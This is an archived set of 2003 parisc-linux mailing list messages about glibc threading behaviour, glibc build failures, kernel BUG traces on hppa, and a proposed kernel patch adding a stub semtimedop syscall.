Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622466 25847 80.91.229.3 (22 Nov 2014 02:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 10:32:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB0B04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 10:32:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19HnZ7-0004jt-4E; Mon, 19 May 2003 17:32:45 +0100
Content-Disposition: inline
In-Reply-To: <3EC761CD0000080F@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18514

On Mon, May 19, 2003 at 06:27:41PM +0200, Joel Soete wrote:
> But notice  a very strange behaviour:
> _the pid is not the same for each thread_ ??
> 
> Having just a small sunos 5.8 with gcc-3.2.2 (but with native libpthread)
> the pb does not occurs?
> 
> Is it a limit of glibc (in general or in 2.3 only?) for all linux or only
> hppa?

it's a limit of your understanding ;-)  POSIX specifies both behaviours
are legitimate.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc pthreads actual threads?
Date: Mon, 19 May 2003 19:01:22 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3EC761CD0000085B__32648.7868013375$1416622466$gmane$org@ocpmta2.freegates.net>
References: <20030519163245.GN16608@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622466 25850 80.91.229.3 (22 Nov 2014 02:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 11:01:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58A074829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 11:01:29 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Ho0f-00072L-00; Mon, 19 May 2003 19:01:13 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 19 May 2003 19:01:22 +0200
In-Reply-To: <20030519163245.GN16608@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18515

>
>it's a limit of your understanding ;-)

Normal: as mentioned I just started to learn...

>  POSIX specifies both behaviours
>are legitimate.
>
Thanks for those clarification,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Mon, 19 May 2003 13:05:34 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.53.0305191159520.86062@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622467 25851 80.91.229.3 (22 Nov 2014 02:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:27 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 11:05:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15A384829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 11:05:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4JH5ZgL020752;
	Mon, 19 May 2003 13:05:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4JH5YPo020750;
	Mon, 19 May 2003 13:05:34 -0400 (EDT)
In-Reply-To: <Pine.BSF.4.53.0305191159520.86062@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at May 19, 2003 12:07:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18516

> my ssh connection had been terminated/crashed I woke up this morning
> and after re-connection I had those in dmegs:
> 
> --- cut ---
> do_page_fault() pid=268 command='sshd' type=6 address=0x00000003

You probably should try downgrading glibc and hope that completes
without a seg fault.

Carlos had mentioned problems with -17 about a month ago.  Don't
know if they have been fixed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Mon, 19 May 2003 13:33:24 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030519173324.GD4877@systemhalted>
References: <Pine.BSF.4.53.0305191159520.86062@e0-0.zab2.int.zabbadoz.net> <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622467 25853 80.91.229.3 (22 Nov 2014 02:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:27 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 11:32:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com (fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B0404829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 11:32:19 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep02-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030519173213.GYCF4557.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Mon, 19 May 2003 13:32:13 -0400
Content-Disposition: inline
In-Reply-To: <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (59% Sync Ratio [======....])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep02-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Mon, 19 May 2003 13:32:13 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18517

> Carlos had mentioned problems with -17 about a month ago.  Don't
> know if they have been fixed.

Not yet. Problem seems to be in the emulation code for unwind find fde.
I'm working on stuff right now, but since we don't have an IPC
multiplexing call I'm sidetracked into writing semtimedop for our kernel
:)

c.



From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Mon, 19 May 2003 18:02:18 +0000 (UTC)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0305191732240.86062@e0-0.zab2.int.zabbadoz.net>
References: <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622467 25857 80.91.229.3 (22 Nov 2014 02:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:27 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 12:03:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF9534829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 12:03:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id E76ED1FFBCD; Mon, 19 May 2003 20:03:13 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 0268B1FFBD1; Mon, 19 May 2003 20:03:12 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id EFB77153B4; Mon, 19 May 2003 18:02:18 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id E542A153AD; Mon, 19 May 2003 18:02:18 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18518

On Mon, 19 May 2003, John David Anglin wrote:

Hi,

> You probably should try downgrading glibc and hope that completes
> without a seg fault.
>
> Carlos had mentioned problems with -17 about a month ago.  Don't
> know if they have been fixed.

Thanks; I found the thread in my mbox'es.

What is this patch for ?
	glibc23-hppa-Rminkernel.dpatch


Further more it seems I need to read a bit more on debian package
building process in the howtos ;-(

...
make[4]: Target `tests' not remade because of errors.
make[4]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1/elf'
make[3]: *** [elf/tests] Error 2
make[3]: Target `check' not remade because of errors.
make[3]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1'
make[2]: *** [check] Error 2
make[2]: Leaving directory `/u1/src/glibc/glibc-2.3.1/hppa-linux/obj'
date >>/u1/src/glibc/glibc-2.3.1/log-test-hppa-linux
make[1]: Leaving directory `/u1/src/glibc/glibc-2.3.1'
touch /u1/src/glibc/glibc-2.3.1/hppa-linux/compiled-source
 debian/rules binary
Need root privileges
make: *** [/u1/src/glibc/glibc-2.3.1/hppa-linux/installed-binaries] Error 1




PS: again from building time (2.5.69-pa1) :

kernel BUG at include/linux/swapops.h:68!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<1014dbfc>] try_to_unmap_one+0x264/0x328
 [<1013e324>] __set_page_dirty_nobuffers+0x9c/0xac
 [<1014de24>] try_to_unmap+0x164/0x208
 [<10150fa0>] swap_writepage+0xac/0x10c
 [<10143f6c>] shrink_list+0x288/0x558
 [<101429d4>] __pagevec_release+0x20/0x30
 [<101443e4>] shrink_cache+0x1a8/0x3b8
 [<101450c4>] balance_pgdat+0x17c/0x1cc
 [<10145238>] kswapd+0x124/0x140
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at mm/rmap.c:343!
Kernel addresses on the stack:
 [<1012414c>] printk+0x17c/0x1bc
 [<101059e8>] dump_stack+0x10/0x1c
 [<1014dbdc>] try_to_unmap_one+0x244/0x328
 [<1013e324>] __set_page_dirty_nobuffers+0x9c/0xac
 [<1014de24>] try_to_unmap+0x164/0x208
 [<10150fa0>] swap_writepage+0xac/0x10c
 [<10143f6c>] shrink_list+0x288/0x558
 [<101429d4>] __pagevec_release+0x20/0x30
 [<101443e4>] shrink_cache+0x1a8/0x3b8
 [<101450c4>] balance_pgdat+0x17c/0x1cc
 [<10145238>] kswapd+0x124/0x140
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Inconsistency detected by ld.so:.. / do_page_fault()
Date: Mon, 19 May 2003 15:40:28 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20030519194028.GA542@systemhalted>
References: <200305191705.h4JH5YPo020750@hiauly1.hia.nrc.ca> <Pine.BSF.4.53.0305191732240.86062@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622468 25862 80.91.229.3 (22 Nov 2014 02:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:28 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 13:39:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1343E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 13:39:23 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030519193917.FRDM9289.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Mon, 19 May 2003 15:39:17 -0400
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0305191732240.86062@e0-0.zab2.int.zabbadoz.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (34% Sync Ratio [===.......])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Mon, 19 May 2003 15:39:16 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18519

> What is this patch for ?
> 	glibc23-hppa-Rminkernel.dpatch

Does two things:

1- Sets minimum required kernel version for glibc to run on.
2- Enables unwind_find_fde copat code.
 
> make[4]: Target `tests' not remade because of errors.
> make[4]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1/elf'
> make[3]: *** [elf/tests] Error 2
> make[3]: Target `check' not remade because of errors.
> make[3]: Leaving directory `/u1/src/glibc/glibc-2.3.1/glibc-2.3.1'
> make[2]: *** [check] Error 2
> make[2]: Leaving directory `/u1/src/glibc/glibc-2.3.1/hppa-linux/obj'
> date >>/u1/src/glibc/glibc-2.3.1/log-test-hppa-linux
> make[1]: Leaving directory `/u1/src/glibc/glibc-2.3.1'
> touch /u1/src/glibc/glibc-2.3.1/hppa-linux/compiled-source
>  debian/rules binary
> Need root privileges
> make: *** [/u1/src/glibc/glibc-2.3.1/hppa-linux/installed-binaries] Error 1

Did you use -rfakeroot as a dpkg-buildpackage option?
 
> PS: again from building time (2.5.69-pa1) :

Can't help you there since I can't recreate the problem.

c.



From - Thu Nov 08 21:27:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4 and semtimedop - need kernel compat?
Date: Mon, 19 May 2003 16:12:24 -0400
Lines: 108
Approved: news@gmane.org
Message-ID: <20030519201224.GB542@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622468 25864 80.91.229.3 (22 Nov 2014 02:14:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 19 14:11:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com (fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 124DA4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 May 2003 14:11:27 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep02-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030519201112.HQIC4557.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 19 May 2003 16:11:12 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (34% Sync Ratio [===.......])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep02-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Mon, 19 May 2003 16:11:12 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18520

pa,

I think I'm leaving the "filling in" of this to Randolph :)
For now it provides enough functionality for glibc to build and be all
happy and merry. Wether we strictly need compat code for semtimedop is
uknown.

Comments appreciated before checkin.

Willy handed out the new syscall number 228 for semtimedop.

c.

Index: arch/parisc/kernel/sys_parisc.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sys_parisc.c,v
retrieving revision 1.14
diff -u -p -r1.14 sys_parisc.c
--- arch/parisc/kernel/sys_parisc.c	23 Nov 2001 21:54:28 -0000	1.14
+++ arch/parisc/kernel/sys_parisc.c	19 May 2003 19:57:48 -0000
@@ -256,3 +256,11 @@ int sys_shmctl_broken(int shmid, int cmd
 	return sys_shmctl (shmid, cmd, (struct shmid_ds *)buf);
 }
 
+/* 2.4 compat code required for IPC calls */
+asmlinkage long sys_semtimedop(int semid, struct sembuf *tsops,
+                                unsigned nsops, const struct timespec *timeout)
+{
+	/* FIXME: Need to implement compat? */
+	return -ENOSYS;
+}
+
Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.27
diff -u -p -r1.27 sys_parisc32.c
--- arch/parisc/kernel/sys_parisc32.c	14 Sep 2002 05:14:03 -0000	1.27
+++ arch/parisc/kernel/sys_parisc32.c	19 May 2003 19:57:48 -0000
@@ -3104,3 +3104,11 @@ asmlinkage long sys32_semctl_broken(int 
 	return sys_semctl (semid, semnum, cmd, arg);
 }
 
+/* 2.4 compat code required for IPC calls */
+asmlinkage long sys32_semtimedop(int semid, struct sembuf *tsops,
+				unsigned nsops, const struct timespec *timeout)
+{
+	/* FIXME: Possible 32/64 conversions required */
+	/* FIXME: Need to implement compat? */
+	return -ENOSYS;
+}
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.78
diff -u -p -r1.78 syscall.S
--- arch/parisc/kernel/syscall.S	4 Aug 2002 22:57:47 -0000	1.78
+++ arch/parisc/kernel/syscall.S	19 May 2003 19:57:48 -0000
@@ -604,8 +604,31 @@ sys_call_table:
 #endif
 	ENTRY_SAME(gettid)             
 	ENTRY_SAME(readahead)          
-	ENTRY_SAME(tkill)
+	ENTRY_SAME(tkill)		/* 208 */
 
+	/* COMPAT semtimedop call requires the same syscall number
+	across kernel versions. */
+	
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)		/* 210 */
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)		/* 220 */
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_SAME(ni_syscall)
+	ENTRY_DIFF(semtimedop)		/* 228 */
 .end
 
 	/* Make sure nothing else is placed on this page */
Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/unistd.h,v
retrieving revision 1.26
diff -u -p -r1.26 unistd.h
--- include/asm-parisc/unistd.h	4 Aug 2002 22:59:52 -0000	1.26
+++ include/asm-parisc/unistd.h	19 May 2003 19:57:50 -0000
@@ -702,6 +702,8 @@
 #define __NR_readahead          (__NR_Linux + 207)
 #define __NR_tkill              (__NR_Linux + 208)
 
+#define __NR_semtimedop         (__NR_Linux + 228)
+
 #define __NR_Linux_syscalls     208
 
